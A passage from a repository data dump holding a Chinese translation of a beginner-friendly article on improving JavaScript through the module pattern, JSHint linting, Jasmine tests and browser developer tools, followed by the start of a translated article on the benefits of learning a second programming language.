[掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/leveling-up-your-javascript.md",
    "content": "* 原文链接 : [Leveling Up Your JavaScript](http://developer.telerik.com/featured/leveling-up-your-javascript/)\n* 原文作者 : [Raymond Camden](http://developer.telerik.com/author/rcamden/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Hikerpig](https://github.com/hikerpig)\n* 校对者: [Nark Qi](https://github.com/narcotics726), [JasinYip](https://github.com/JasinYip)\n\n# JavaScript 姿势提升简略\n\nJavaScript 是一门入门容易，但是相当难以精通的语言。可现今一些文章总假设你已经精通了它。\n\n我从 1995 年 JavaScript 还以 LiveScript 名字出现的时候就开始用它了，但后来逐渐从前端开发撤回服务器的安全怀抱中，直到五年前才重拾。很高兴看到如今的浏览器更加的强大和易于调试。但 JavaScript 已经演变得越来越复杂且难以精通了。不过最近我终于得出结论，我并不需要_精通_ Javascript，只需要比以前更进一步就好。能成为一个\"好\"的 JavaScript 开发者我便觉欣慰。\n\n以下是我发现的一些_实用_的 JavaScript 小技巧: [组织代码](#组织代码); [代码检验](#代码检验(Linting)); [测试](#测试); 以及 [使用开发者工具](#浏览器开发者工具)。里面有几条对有经验的 JavaScript 开发者来说可能很显而易见，但是语言初学者很容易养成坏习惯。这些技巧提高了我的技术水平，同时也为我的用户创造了更好的体验。_这_难道不是我们最大的目标么。\n\n> 你可在此处[下载](http://developer.telerik.com/wp-content/uploads/2016/01/code.zip)本文的样例代码。\n\n## 组织代码\n\nJavaScript 初学者总是不可避免地在他们的 HTML 页面里写上一大坨代码。开始的时候都是很简单的，例如使用 jQuery 给一个表单输入自动加上焦点，然后要加上表单验证，然后又要加上一些市场上走俏的模态框组件——就是那些阻止用户往下阅读内容好让他们在 Facebook 上给网站点赞的东西。经过这些七七八八的功能迭代后你的一个文件里 HTML 标签和 JavaScript 都有了几百行。\n\n别再继续这种乱七八糟的方式了。这个技巧太简单了我都不好意思单独把它列出来，但大家还_真的_很难拒绝这种把代码一坨扔上页面的偷懒做法。还请各位务必避之如瘟疫。养成好习惯：在开始的时候就先创建好一个空的 JavaScript 文件，然后用 script 标签引入它。这样一来，之后的交互与其他客户端功能代码就可以直接填入先前准备好的空文件里去了。\n\n把 JavaScript 从 HTML 页面中剥离以后（干净多了是不是？），下一个问题就是关于这些代码的组织形式了。这几百行 JavaScript 也许功能没啥问题，但是几个月后，一旦你开始想调试或是改点东西，你可能特么找不到某个函数在哪了。\n\n若仅仅把代码从 HTML 中剥离到一个单独文件中是不够的，那还能怎么办呢？\n\n### 框架！\n\n显然解决方案是框架。把所有东西用 AngularJS，或 Ember，或 React 或其他几百个框架中某一个写一遍。哼哧哼哧地把整个网站重写为一个单页应用，用上 MVC 什么的。\n\n或者根本不需要。当然了，别误会我，在编写应用的时候我喜欢用 Angular，但是一个\"应用\"和一个页面的交互复杂度是有区别的。一个用上 Ajax 技术的产品目录页和 Gmail 也是有区别的 - 起码几十万行代码的区别。那么，如果不走框架这条路的话，还有什么选择呢？\n\n### 设计模式\n\n设计模式是对\"这是过去人们解决问题的一个方法\"这句话的高级说法。Addy Osmani 写过一本关于此的很好的书，[学习 JavaScript 设计模式](http://addyosmani.com/resources/essentialjsdesignpatterns/book/)，可以免费下载阅读。我推荐这本书。但是我对它（以及类似的关于此议题的讨论）有点小看法，因为最后你们写的代码可能变成这样:\n\n    var c = new Car();\n    c.startEngine();\n    c.drive();\n    c.soNotRealistic();\n\n对我来说，设计模式在抽象层面上是有意义的，但是在_实际工作中_，没有什么用。在实际项目的环境下，挑选并应用设计模式是件很困难的事情。\n\n#### 模块\n\n在所有我看过的设计模式中，我觉得模块模式是最简单也是最容易应用到现有代码里的。\n\n纵而览之，模块模式就是一系列代码之外加了个包装。你抽取出一系列功能相关的代码扔到一个模块里，决定需要暴露的部分，也可以把一个模块里的代码放到不同的文件里。然后建立一个易于在项目之间共享的代码黑匣。\n\n看看这个简单的例子。此处的语法乍看可能有点奇怪，起码我一开始是这样觉得的。我们先从\"包装\"部分开始看，然后我再解释其余部分。\n\n![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zumg7z7gj20kp05ojru.jpg)\n\n模块模式的包装。\n\n只有我一个人被这些括号搞晕了么？我搞不明白这里是干嘛的，这还是在我懂 JavaScript 的前提下。其实这里如果从里往外看，就清晰很多。\n\n![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zuncbxnuj20m805lgly.jpg)\n\n模块的内部只是个普通的函数。\n\n从一个简单的函数开始，在其内部定义该模块的实际需要提供的代码。\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zunvmhafj20m805ot94.jpg)\n\n圆括号使得这个函数自动执行。\n\n最后的圆括号会让该函数立即执行。我们在函数里返回了什么，模块就是什么。此时我们这里还是空的。不过此时上图高亮的部分还_不是_合法的 JavaScript。那么，怎样让它变得合法呢？\n\n![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zuoenvzjj20m805mdg9.jpg)\n\n外边的圆括号开始发功了。\n\n在`function() { }()` 外的圆括号使得此处成为合法JavaScript。你要是不信我，就打开开发者工具的控制台自己输入看看。\n\n这样就是我们一开始看到的。\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zuotyvzej20m808ngm7.jpg)\n\n返回值被赋给一个变量。\n\n最后一件事是把返回值赋给一个变量。尽管我自己完全懂得这里，但每次我看见这种代码我都得暂停一秒钟来提醒自己这是什么鬼。说来也不怕羞，我在编辑器里存着这段空模块代码随时快手粘贴。\n\n当我们终于征服了这坨诡异的语法之后，真正的模块模式究竟长啥样呢？\n\n    var counterModule = (function() {\n      var counter = 0;\n\n      return {\n        incrementCounter: function () {\n          return counter++;\n        },\n        resetCounter: function () {\n          console.log(\"counter value prior to reset: \" + counter );\n          counter = 0;\n        }\n      };\n\n    }());\n\n这段代码创建了一个叫做 `counterModule` 的模块。它有两个函数，`incrementCounter` 和 `resetCounter`。可以这样使用它们：\n\n    console.log(counterModule.getCounter()); //0\n    counterModule.incrementCounter();\n    console.log(counterModule.getCounter()); //1\n    counterModule.resetCounter();\n    console.log(counterModule.getCounter()); //0\n\n主要的思想就是把 `counterModule` 里的代码好好地封装起来。封装是计算机科学基础概念，将来 JavaScript 还会提供更简单的封装方法，不过就现在来说，我觉得模块模式已是个超级简单和使用的组织代码方案。\n\n#### 一个实用的模块案例\n\n吐槽完网上看到的样例（例如上面那个 Car 的例子）。我们现在需要编写一个符合实际场景需求的简单代码。限于本文篇幅，我会写得尽量简单，但会贴合你在遇到实际 web 项目时的情况。\n\n假设你的网游公司愣天堂 (任粉莫喷)，在用户要创建游戏人物的时候需要一个注册页面。你需要一个可以让用户选择名字的表单。构建名字的规则有点诡异：\n\n*   必须以大写字母开头\n*   长度不小于2\n*   允许空格，但是不能有标点\n*   不能有\"敏感\"词汇\n\n先写下这个超简单的表单。\n\n    <html>\n      <head>\n\n      </head>\n\n      <body>\n\n        <p>Text would be here to describe the rules...</p>\n\n        <form>\n          <input type=\"text\" placeholder=\"Identifer\">\n          <input type=\"submit\" value=\"Register Identifer.\">\n        </form>\n        <script src=\"app.js\"></script>\n      </body>\n    </html>\n\n除了我描述的输入框，表单里还有个提交按钮。然后我加了些有关上面提到的规则的说明，先尽量保持精简。让我们来看看代码。\n\n    var badWords = [\"kitten\",\"puppy\",\"beer\"];\n    function hasBadWords(s) {\n      for(var i=0; i < badwords.length; i++) {\n        if(s.indexof(badwords[i]) >= 0) return true;\n      }\n      return false;\n    }\n\n    function validIdentifier(s) {\n      //是否为空\n      if(s === \"\") return false;\n      //至少两个字符\n      if(s.length === 1) return false;\n      //必须以大写字母开头\n      if(s.charAt(0) !== s.charAt(0).toUpperCase()) return false;\n      //只允许字母和空格\n      if(/[^a-z ]/i.test(s)) return false;\n      //没有敏感词\n      if(hasBadWords(s)) return false;\n      return true;\n    }\n\n    document.getElementById(\"submitButton\").addEventListener(\"click\", function(e) {\n\n      var identifier = document.getElementById(\"identifer\").value;\n\n      if(validIdentifier(identifier)) {\n        return true;\n      } else { console.log('false');\n        e.preventDefault();\n        return false;\n      }\n    });\n\n从代码底部开始，你看到我写了点基本的获取页面元素的代码（没错伙计们这里我没有用 jQuery）然后监听 button 上的点击事件。拿到用户输入的用户名字段然后传给验证函数。验证的内容也就是我之前描述的那些。这里代码还没有_太_乱，不过随着之后验证逻辑的增长和页面交互逻辑的增加，代码会越来越难以维护。所以我们把这里重写为模块吧。\n\n首先，创建 game.js 文件并在 index.html 中使用 script 标签引入它。然后把验证逻辑移到一个模块里。\n\n    var gameModule = (function() {\n\n      var badWords = [\"kitten\",\"puppy\",\"beer\"];\n\n      function hasBadWords(s) {\n        for(var i=0; i < badwords.length; i++) {\n          if(s.indexof(badwords[i]) >= 0) return true;\n        }\n        return false;\n      }\n\n      function validIdentifier(s) {\n        //是否为空\n        if(s === \"\") return false;\n        //至少两个字符\n        if(s.length === 1) return false;\n        //必须以大写字母开头\n        if(s.charAt(0) !== s.charAt(0).toUpperCase()) return false;\n        //只允许字母和空格\n        if(/[^a-z ]/i.test(s)) return false;\n        //没有敏感词\n        if(hasBadWords(s)) return false;\n        return true;\n      }\n\n      return {\n        valid:validIdentifier\n      }\n\n    }());\n\n现在的代码和之前相比没有翻天覆地的差别，只不过是被封装成了一个有一个 `valid` 接口的 `gameModule` 变量。接下来我们来看看 app.js 文件。\n\n\n    document.getElementById(\"submitButton\").addEventListener(\"click\", function(e) {\n\n      var identifier = document.getElementById(\"identifer\").value;\n\n      if(gameModule.valid(identifier)) {\n        return true;\n      } else { console.log('false');\n        e.preventDefault();\n        return false;\n      }\n    });\n\n看看我们的 DOM 监听函数里少了多少代码。所有的验证逻辑（两个函数和一个敏感词列表）被安全地移到了模块里后，这里的代码就更好维护了。如果你的编辑器支持，你在此处还能有模块方法名的代码补全。\n\n模块化不是什么高深的东西，但它使我们的代码_更干净_，_更简单_ ，这绝对是件好事。\n\n## 代码检验(Linting)\n\n简单给初闻者解释下，代码检验表示使用最佳实践和一些避免出错的规则对代码进行检查。很高大上对不对？这么好的东西，我以前却以为只有挑剔过头的开发者才会考虑这个。当然了，我期望自己写出超棒的代码，但我也需要腾出时间玩游戏。就算我的代码够不上某些高大上的完美标准，但它能好好工作我就能满意了。\n\n然而...\n\n记不记得你有多少次重命名了个函数然后提醒自己之后一定会改？\n\n记不记得你有多少次创建了个有两个形参的函数，其实最后只用了一个？\n\n记不记得你有多少次写过多少蠢代码？我说的是那些根本不能工作的，类似我最爱的 `fuction` 和 `functon`。\n\n代码检验就是这时候站出来帮你的！除了我之外大家都知道，代码检验不只有风格的最佳实践，还包含语法和基本的逻辑检验。还有一个让我从\"等我有时间一定或做的\" 跳到\"我会虔诚地遵循它\" 的原因，那就是几乎所有现代编辑器都支持此功能。我目前用的编辑器（ Sublime, Brackets 和 Visual Studio Code）都支持代码实时检验和反馈。\n\n举个例子，以下是 Visual Studio Code 对我一段很挫的代码的提示。当然了，我是故意写得很挫的。\n\n![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zupgeoxdj20m80d1q40.jpg)\n\nVisual Studio Code 代码检验。\n\n上图中，你能看到 Visual Studio Code <strike>抱怨</strike>我代码中的几个错误。Visual Studio Code 的代码检验器，和大多数检验器一样，可配置你关心的检验规则以及对其中\"错误\"（必须修正）和\"警告\"(别偷懒啊，总要修复的)的定义。\n\n如果你不想安装任何东西，也不想折腾编辑器，另一种好方法是使用[JSHint.com](http://jshint.com)在线检验代码。JSHint 差不多是最流行的检验器，它基于另一个检验器 JSLint (谁说它们长得像来着？)。JSHint 的诞生一部分原因是由于 JSLint 太过严格。你可以直接在编辑器里或是通过命令行使用 JSHint，最简单的体验方法是在它的网站上试试。\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zuppot76j20m804w0t8.jpg)\n\nJSHint 网站。\n\n乍看可能不太明显，其实左边是在一个在线代码编辑器。右边的是一份对左边代码的检验报告。要看到检验效果，最简单方式是在代码里随便写错点什么。我这里把 `main` 函数名改成了 `main2`。\n\n    function main2() {\n      return 'Hello, World!';\n    }\n\n    main();\n\n马上，网页就对此给我报了两个错误。注意了，这并不是语法错误。代码在语法上是完全没问题的，但是 JSHint 发现了你可能忽视了的问题所在（当然了，这里代码只有5行，但想象下一个大文件里函数定义和调用之间隔了好多行的时候）。\n\n![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zuq1qvjvj209t070wei.jpg)\n\nJSHint 错误。\n\n来个更真实的例子如何？以下的代码（嗯现在我_是_用了 jQuery），我写了点简单的 JavaScript 做表单验证。都是些鸡毛蒜皮的东西，不过今天几乎一半的 JavaScript 代码做的都是这些事（哦哦当然还有创建弹出框然后问你要不要\"赞\"这个网站。真特么爱死这些了）。这些代码可以在 demo_jshint 文件夹的 app_orig.js 中找到。\n\n    function validAge(x) {\n      return $.isNumeric(x) && x >= 1;\n    }\n\n    function invalidEmail(e) {\n      return e.indexOf(\"@\") == -1;\n    }\n\n    $(document).ready(function() {\n\n      $(\"#saveForm\").on(\"submit\", function(e) {\n        e.preventDefault();\n\n        var name = $(\"#name\").val();\n        var age = $(\"#age\").val();\n        var email = $(\"#email\").val();\n\n        badForm = false;\n\n        if(name == \"\") badForm = true;\n        if(age == \"\") badForm = true;\n        if(!$.isNumeric(age) || age <= 0) badForm = true;\n        if(email == \"\") badForm = true;\n        if(invalidemail(email)) badForm = true;\n\n        console.log(badform);\n        if (badform) alert('Bad Form!');\n        else {\n          // do something on good\n        }\n      });\n    });\n\n开始是两个辅助验证的函数（对年龄和 email）。然后是 `document.ready` 代码块里对表单提交的监听。获取表单中三个字段的值，检查是否为空（或是无效输入），若表单无效就弹出警告，否则继续（在我们的例子里，什么也没发生，表单没变化）。\n\n扔到 JSHint 上看看发生了啥：\n\n![](http://ww3.sinaimg.cn/large/9b5c8bd8jw1f0zuqkjapdj20b90s5q3x.jpg)\n\nJSHint 对我们样例代码的报错。\n\n哇塞好多东西！看起来是类似的问题出现了多次。我开始用检验器的时候这种情况挺常见。我并没有弄出很多种错误，而仅仅是同种错误的重复。第一个非常简单—— 检查相等时使用三等号替代双等号。简单来说就是用更严格的标准检测空字符串。先修复这个(demo_jshint/app_mod1.js)。\n\n    function validAge(x) {\n      return $.isNumeric(x) && x >= 1;\n    }\n\n    function invalidEmail(e) {\n      return e.indexOf(\"@\") == -1;\n    }\n\n    $(document).ready(function() {\n\n      $(\"#saveForm\").on(\"submit\", function(e) {\n        e.preventDefault();\n\n        var name = $(\"#name\").val();\n        var age = $(\"#age\").val();\n        var email = $(\"#email\").val();\n\n        badForm = false;\n\n        if(name == \"\") badForm = true;\n        if(age == \"\") badForm = true;\n        if(!$.isNumeric(age) || age <= 0) badForm = true;\n        if(email == \"\") badForm = true;\n        if(invalidemail(email)) badForm = true;\n\n        console.log(badform);\n        if (badform) alert('Bad Form!');\n        else {\n          // do something on good\n        }\n      });\n    });\n\nJSHint 报告变成了:\n\n![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zur1n2y4j20am0lb0t8.jpg)\n\nJSHint 对我们样例代码的报错。\n\n算是解决了。下一个错误类型是\"未声明变量\"。看着有点诡异。如果使用 jQuery 的话，你知道`$` 是存在的。`badForm` 的问题就更简单点——我忘记用 `var` 声明它了。那我们怎么解决`$`的问题呢？JSHint 提供了对代码规则检验方法的配置。在代码里加上一个注释以后，我们告诉 JSHint `$` 变量是作为全局变量可以放心使用。接下来我们补上这个注释，并且加上丢失的 `var` 声明（demo_jshint/app_mod2.js）。\n\n    /* globals $ */\n    function validAge(x) {\n      return $.isNumeric(x) && x >= 1;\n    }\n\n    function invalidEmail(e) {\n      return e.indexOf(\"@\") == -1;\n    }\n\n    $(document).ready(function() {\n\n      $(\"#saveForm\").on(\"submit\", function(e) {\n        e.preventDefault();\n\n        var name = $(\"#name\").val();\n        var age = $(\"#age\").val();\n        var email = $(\"#email\").val();\n\n        var badForm = false;\n\n        if(name == \"\") badForm = true;\n        if(age == \"\") badForm = true;\n        if(!$.isNumeric(age) || age <= 0) badForm = true;\n        if(email == \"\") badForm = true;\n        if(invalidemail(email)) badForm = true;\n\n        console.log(badform);\n        if (badform) alert('Bad Form!');\n        else {\n          // do something on good\n        }\n      });\n    });\n\nJSHint 报告变成了:\n\n![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zurgx350j209204gwed.jpg)\n\nJSHint 对我们样例代码的报错。\n\n哇哦！就快结束了！最后一个问题恰好的展示了 JSHint 在提示最佳代码风格实践和指出错误以外的用途。这里我忘了写过一个处理年龄验证的函数。你看我创建了 `validAge`，但是在表单验证代码区域没使用它。也许我该删了这个函数 —— 反正也只有一行，但我觉得留下来更好——以免以后验证逻辑越来越复杂。以下就是完整的代码了(demo_jshint/app.js)。\n\n    /* globals $ */\n    function validAge(x) {\n      return $.isNumeric(x) && x >= 1;\n    }\n\n    function invalidEmail(e) {\n      return e.indexOf(\"@\") == -1;\n    }\n\n    $(document).ready(function() {\n\n      $(\"#saveForm\").on(\"submit\", function(e) {\n        e.preventDefault();\n\n        var name = $(\"#name\").val();\n        var age = $(\"#age\").val();\n        var email = $(\"#email\").val();\n\n        var badForm = false;\n\n        if(name === \"\") badForm = true;\n        if(age === \"\") badForm = true;\n        if(!validAge(age)) badForm = true;\n        if(email === \"\") badForm = true;\n        if(invalidEmail(email)) badForm = true;\n\n        console.log(badForm);\n        if(badForm) alert('Bad Form!');\n        else {\n          //do something on good\n        }\n      });\n    });\n\n最终版本\"通过\"了 JSHint 的测试。虽然实际上并不完美。注意到我两个检验函数一个叫 `validAge` 一个叫 `invalidEmail` ，一个返回肯定一个返回否定。更好的做法是保持语义一致性。还有每次这个验证函数运行的时候，jQuery 需要获取DOM 中的三个元素，其实它们只需要被获取一次。我应该在表单提交回调函数外创建这些变量，每次验证的时候重复使用。如我所言，JSHint 不是完美的，但代码最终版本绝对比第一版要好很多，我的修改也没有花多少时间。\n\n不同用途的代码检验器有 JavaScript([JSLint](http://www.jslint.com)和 [JSHint](http://www.jshint.com))，HTML([HTMLHint](http://htmlhint.com/)和 [W3C Validator](https://validator.w3.org/))和CSS ([CSSLint](http://csslint.net/))。如果编辑器支持，而你还是个\"前端潮人\"，还可以用 Grunt 和 Gulp 工具对这些进行自动化。\n\n## 测试\n\n我不写测试。\n\n没错，我话就撂这儿了。世界不会停止转动。不过，在开发客户端项目时，我其实_是_写测试的（好啦实际是我_尝试_去写测试），但是我的主要工作写博客，和各种功能的样例代码。这些代码只为验证概念而非投入生产环境使用，因此不写测试没什么大不了的。其实，在我成为布道者和不做\"实际\"工作之前，我也是敢这么放话的，不写测试的借口和不使用代码检验器一样。不过一些给检验器加分的因素放在测试上也很好用。\n\n首先——许多编辑器会为你自动生成测试代码。例如在 Brackets 中，可以使用 [xunit](https://github.com/dschaffe/brackets-xunit) 扩展。借助它你只要在 JavaScript 文件上调出右键菜单就能生成测试代码（支持多种流行测试框架格式）。\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zus4jz8sj20m80hymy4.jpg)\n\nxunit 创建的测试。\n\n该扩展基于现存代码去生成测试代码。生成的测试代码只是个模板，你需要自己去填写具体内容，这避免了一些无聊的重复劳动。\n\n![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zuthjkyxj20m80hxjtd.jpg)\n\nxunit 创建的测试。\n\n完成了测试细节的填充后，该扩展会帮你自动执行测试。都到了这份上了，不写代码基本上就只是懒了。\n\n![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zutuzzmij20m80l50we.jpg)\n\n测试报告。\n\n你也许听过 TDD (测试驱动开发)。说的是在写具体代码之前先把单元测试写好。本质上是测试主导你的开发。写下代码并看它通过测试的时候，这些通过的测试能让你确保自己没有走错路。\n\n我觉得这个想法不错，不过让所有人都这么做的确是有点困难。我们干脆先从简单点的开始。想象下你手上有一些据你所知功能正常的代码，然后你发现了个 bug。在修复它之前，你可以创建一个测试去检验出此 bug，修复 bug，然后跑跑测试，确保此后相同的 bug _不会_再次出现。如我所言，这不是最理想的实践，但也能算是朝着以后在开发所有阶段实践测试的一个过渡。\n\n我用我写的一个精简数字显示的函数作为 bug 的例子。109203可以精简为109K。更大的例如2190290这样的数可精简为2M。看下代码然后我会说说 bug。\n\n    var formatterModule = (function() {\n\n      function fnum(x) {\n        if(isNaN(x)) return x;\n\n        if(x < 9999) {\n          return x;\n        }\n\n        if(x < 1000000) {\n          return Math.round(x/1000) + \"K\";\n        }\n        if(x < 10000000) {\n          return (x/1000000).toFixed(2) + \"M\";\n        }\n\n        if(x < 1000000000) {\n          return Math.round((x/1000000)) + \"M\";\n        }\n\n        if(x < 1000000000000) {\n          return Math.round((x/1000000000)) + \"B\";\n        }\n\n        return \"1T+\";\n      }\n\n      return {\n        fnum:fnum\n      }\n\n    }());\n\n你马上看出问题了？还是放弃了？当输入9999的时候，会返回10K。尽管此精简可能有用，但代码对于所有小于10K的数字应该一视同仁，都返回它们的原始值。这个修正很简单，我们正好当作添加测试的机会。关于测试框架我选择 [Jasmine](http://jasmine.github.io/)。Jasmine 的测试易于编写和运行。最快的使用方法是下载这个库。解压后你会发现 SpecRunner.html 文件。此文件负责引入我们的代码，引入测试，而后运行测试和生成漂亮的报告。它依赖于压缩包中的 lib 文件夹，你一开始可以把 SpecRunner 和 lib 文件夹一起复制到你的服务器某处。\n\n打开 SpecRunner.html 你会看到。\n\n    <!-- include source files here... -->\n    script tags here...\n\n    <!-- include spec files here... -->\n    more script tags here...\n\n在第一个注释下你需要删除已有的代码然后加上一个 script 标签引入你的代码。如果下载了此文的代码，你可以在 demo4 文件夹里找到 formatter.js 文件。之后你要加一个 script 标签引入测试代码。你可能之前没见过 Jasmine，但你看看这个测试代码，_非常_易读，新手也能懂。\n\n    describe(\"It can format numbers nicely\", function() {\n\n      it(\"takes 9999 and returns 9999\", function() {\n        expect(9999).toBe(formatterModule.fnum(9999));\n      });\n\n    });\n\n我的测试说的是当9999作为输入时应该返回9999。在浏览器里打开 SpecRunner.html 你就能看到错误报告。\n\n![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zuu5bbhaj20m80e1q61.jpg)\n\n测试失败的报告。\n\n修复起来很简单。把条件里的数字从9999增到10000:\n\n    if(x < 10000) {\n      return x;\n    }\n\n不论何时再跑测试你能看到一片欢乐。\n\n![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zuuh4xj8j20m804y74k.jpg)\n\n测试成功的报告。\n\n你估计能想出一些相关测试完善这套测试。通常来说，积极地添加测试以覆盖你代码的各种可能使用场景没有任何不妥。关于日期和时间的牛库 [Moment.js](http://momentjs.com/)，不是我骗你，有超过五万七千多个测试。你真没看错，就是几万个。\n\nJavaScript 测试框架的其他选择有 [QUnit](https://qunitjs.com/)和 [Mocha](http://mochajs.org/)。和代码检验一样，你能使用 Grunt 之类的工具自动化测试，甚至可以往全栈靠一点，使用 [Selenium](http://www.seleniumhq.org/) 测试浏览器。\n\n## 浏览器开发者工具\n\n我提到的最后一个工具在浏览器里——开发者工具。你能找到许多关于此的文章、演讲和视频，我亦不需赘言。在今天所说的所有内容中，这一条我认为应该是 web 开发者的**必需知识**。你可以写出不能用的代码，可以不是什么都懂，但起码还有开发者工具帮你找出错误所在，然后你只需要 google 一下问题就能解决了。\n\n再多提一个建议，你不该把自己吊在一个浏览器的开发者工具上。几年前我在鼓捣 App Cache （没错我就是爱自虐），碰上了个只在 Chrome 下出现的问题。当时开着开发者工具，但是没啥用。我灵机一动用 Firefox 打开我的代码，使用它的工具调试，然后我**立刻**就发现了问题所在。Firefox 列出的关于请求的信息比 Chrome 多。我用了一次这个工具立马解决了问题（好吧其实这是胡诌的，Firefox 的确显出问题所在不过我修复问题也用了好些时间）。如果你卡在某个问题上，不如试试打开其他浏览器看看错误报告有没有多说些什么。\n\n万一万一你真从没_见_过开发者工具，以下有些主流浏览器工具阅览指南和极好的详细教程。\n\n### Google Chrome\n\n点击浏览器右上角的汉堡菜单图标，选择\"更多工具\" -> \"开发者工具\"。也可以用键盘快捷键打开，例如在 OSX 下快捷键是 `CMD+SHIFT+C`。关于谷歌的开发者工具文档可到 [Chrome 开发者工具纵览](https://developer.chrome.com/devtools)寻找。\n\n### Mozilla Firefox\n\n在主菜单的\"工具\"栏里，选择 \"Web 开发者\" -> \"切换工具箱\"。Firefox 工具栏很酷，在同一菜单下，有许多快速打开开发者工具命令。详情请见 [Firefox 开发者工具](https://developer.mozilla.org/en-US/docs/Tools)\n\n### Apple Safari (传说中用来看 Apple keynotes 的浏览器)\n\n你得先开启\"开发\"菜单才能使用开发者工具。进入 Safari 偏好设置，选择\"高级\"，选中\"在菜单栏中显示'开发'菜单\"。然后就能从\"开发菜单\"里通过\"显示 Web 检查器\"（或者其下的其他三个菜单项）打开工具。详情见[关于 Safari Web 检查器](https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Introduction/Introduction.html)。\n\n### Internet Explorer\n\n点击浏览器右上角的设置按钮或按下键盘 F12键打开开发者工具。详情见[使用 F12 开发者工具](https://msdn.microsoft.com/library/bg182326%28v=vs.85%29)。\n\n## 更多学习\n\n有时候感觉像我们这些做开发的，工作就从来没有完成的时候。你知道在这篇文章写作期间有13个新的 JavaScript 框架发布了么？讲真！以下是最后几个让你学习并且跟上潮流的建议，尽量跟上。\n\n学习方面，我选择专注于 [Mozilla Developer Network](http://developer.mozilla.org)(你要是准备 google 什么，最好加上 \"mdn\" 作为前缀)，[CodeSchool](http://www.codeschool.com) (一个商业的编程学习视频网站，内容还不错), 和 [Khan Academy](https://www.khanacademy.org/)。特别要说下 Mozilla 开发者网络(MDN)，多年来我以为它只有 Netscape/Firefox 知识而忽视了它，蠢死了我。\n\n另一建议是多读代码！你们中许多人都用过 jQuery，但你有打开它的源码看看它的实现么？读别人的代码是一个很好的学习技巧的和方法的途径。还有一个听起来可能有点恐怖，不过我真的强烈建议你分享自己的代码。不光是多了双雪亮的眼睛（或者成千上万双）来审视你的代码，你也许也能帮助其他的人。几年前我看见一个初级程序员分享他的代码，虽然里面有些菜鸟级的错误，但也有一些超棒的技巧。\n\n为获取最新资讯，我订阅了 [Cooper Press](http://cooperpress.com) 发行的一系列周报。有 HTML 的，JavaScript 的，Node 的和移动开发(Mobile) 和其他一系列。信息可能会淹没你，尽你所能阅读就行。当我看到某个新发布的工具有我_并不_需要的 XXX 功能的时候，我也不用去学它。我只要记住\"诶哟有个工具有 XXX 功能\"，以后我需要这个功能的时候再去学习。\n\n_感谢[Lemsipmatt](https://flic.kr/p/5PS638)提供的首图_\n"
  },
  {
    "path": "TODO/life-after-js-learning-2nd-language.md",
    "content": "> * 原文地址：[Life after JavaScript: The Benefits of Learning a 2nd Language](https://www.sitepoint.com/life-after-js-learning-2nd-language/)\n> * 原文作者：本文已获原作者 [Nilson Jacques](https://www.sitepoint.com/author/njacques/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[gy134340](https://github.com/gy134340)\n> * 校对者：[Tina92](https://github.com/Tina92),[lsvih](https://github.com/lsvih)\n\n\n# 生活在 JavaScript 之中：学习第二门语言的好处 #\n\n \n\t\n\n\t\n\n\n\n\n\n\t\n\t\n你会多少种编程语言？根据最近的调查，大约 80% 的读者至少会两种。超过半数的人经常使用 PHP，我敢打赌大多数人就像我一样使用这门语言开始他们的 Web 开发。\n\n最近我准备向我的简历上添加一门别的编程语言（好像在我的“待学习”清单里没有足够的东西）。最终我决定在网上学习 Scala 教程。对于不熟悉它的人来说，Scala 就是一门通用的强类型的编译语言（像 Java，它编译成可移植的字节码）。虽然像 JavaScript 一样它是多范式的编程语言，但它有很多存在于函数式编程语言中先进的函数式编程（FP）特性，比如说 Haskell。如果你对最近函数式编程语言的流行很感兴趣，那你可以仔细研究一下 Scala。\n\n![Silhouette of a person made from programming terms and language names](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/03/1490029714Fotolia_101549014_Subscription_Monthly_M-300x267.jpg)\n\n你也许在想“为什么我现在要再多学一门语言，我准备一辈子都用 JavaScript 了！”又可能你有一堆 JavaScript 的东西要学习。仍然有一些很好的理由去学习一门新的语言。真正掌握概念的好方法，如静态类型、编程范例，或者函数式编程，是用一种语言工作，这会迫使你使用这些东西。JavaScript 的灵活性很是吸引人，但它也可能导致一些问题。学习另一种语言写代码的方式会教会你不同看待与处理问题的方法，这也会改变你写 JavaScript 的方式。另外，有了语言所限制的编程风格将会真正帮助你了解它的优劣。\n\n接触新的编程范式、概念和风格对我们这些没接受过正规训练的自学者会有莫大的帮助。计算机科学的毕业生可能已经将许多这些概念作为他们学习的一部分。为了更好的成长，需要考虑学习那些与 JavaScript 完全不同的语言。\n\n值得一提的是，一些现在流行的库和设计模式正是从其他语言中提取出来的概念。Redux，一个 React 的状态管理插件，是借鉴 Elm 中数据流系统。Elm 本身是受 Haskell 启发的一门编译成 JavaScript 的语言。学习别的编程语言可以更好的帮助你更好的理解这些库和它们背后的概念。如果呆在 JavaScript 